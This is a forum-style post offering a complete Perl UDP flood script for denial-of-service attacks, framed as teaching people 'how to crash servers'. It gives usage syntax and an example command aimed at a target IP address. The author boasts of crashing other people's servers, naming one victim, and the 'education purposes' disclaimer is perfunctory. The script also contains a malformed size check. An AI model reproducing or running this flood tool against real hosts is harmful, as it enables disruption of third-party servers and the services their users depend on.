Alot of people have been asking me to teach them how to crash servers. Well here goes !!
I use Active Perl Scripts to flood UDP ports causing a type to DoS( Denial-of-Service) Attack.
3.Some knowledge about compiling and executing perl scripts.
This is only for education purporses and sharing what I know.
#!/usr/bin/perl
#####################################################
# udp flood.
######################################################
use Socket;
use strict;
use Getopt::Long;
use Time::HiRes qw( usleep gettimeofday ) ;
our $port = 0;
our $size = 0;
our $time = 0;
our $bw = 0;
our $help = 0;
our $delay= 0;
GetOptions(
"port=i" => \$port, # UDP port to use, numeric, 0=random
"size=i" => \$size, # packet size, number, 0=random
"bandwidth=i" => \$bw, # bandwidth to consume
"time=i" => \$time, # time to run
"delay=f"=> \$delay, # inter-packet delay
"help|?" => \$help); # help
my ($ip) = @ARGV;
if ($help || !$ip) {
print <<'EOL';
flood.pl --port=dst-port --size=pkt-size --time=secs
--bandwidth=kbps --delay=msec ip-address
Defaults:
* random destination UDP ports are used unless --port is specified
* random-sized packets are sent unless --size or --bandwidth is specified
* flood is continuous unless --time is specified
* flood is sent at line speed unless --bandwidth or --delay is specified
Usage guidelines:
--size parameter is ignored if both the --bandwidth and the --delay
parameters are specified.
Packet size is set to 256 bytes if the --bandwidth parameter is used
without the --size parameter
The specified packet size is the size of the IP datagram (including IP and
UDP headers). Interface packet sizes might vary due to layer-2 encapsulation.
Warnings and Disclaimers:
Flooding third-party hosts or networks is commonly considered a criminal activity.
Flooding your own hosts or networks is usually a bad idea
Higher-performace flooding solutions should be used for stress/performance tests
Use primarily in lab environments for QoS tests
EOL
exit(1);
}
if ($bw && $delay) {
print "WARNING: computed packet size overwrites the --size parameter ignored\n";
$size = int($bw * $delay / 8);
} elsif ($bw) {
$delay = (8 * $size) / $bw;
}
$size = 256 if $bw && !$size;
($bw = int($size / $delay * 8)) if ($delay && $size);
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);
print "Flooding $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "\n";
print "Interpacket delay $delay msec\n" if $delay;
print "total IP bandwidth $bw kbps\n" if $bw;
print "Break with Ctrl-C\n" unless $time;
die "Invalid packet size requested: $size\n" if $size && ($size <> 1500);
$size -= 28 if $size;
for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
usleep(1000 * $delay) if $delay;
}
-----------------------------------------------------------------------------------------------
Here is the script that you'll need,Copy and save it as flood.pl using notepad.
Syntax for using it :-
flood.pl --port port --size bytes --time seconds --bandwidth kbps --delay msec target-ip-address
Usage:-
Port:-Port to flood (27015)
Size:- Packet Size to flood with (32/64)
Time:-Duration of the attack
Bandwidth:-Amount of Bandwidth you would like to drain from the target
Note:- Bandwidth<= you're net speed
Target-ip-address :- Targets ip (eg:- 192.168.178.78)
Example of Usage:-
flood.pl --port 27015 --size 32 --time 60 --bandwidth 512 192.68.178.78
I would like to apologize to everyone who's servers I crashed !
Especially Bhanu aka SnakeEyes
On Second thought .... Forget it snake !! it was real fun crashing your server :P
Any Questions Feel free to ask , I'll try to get back to you as soon as possible.
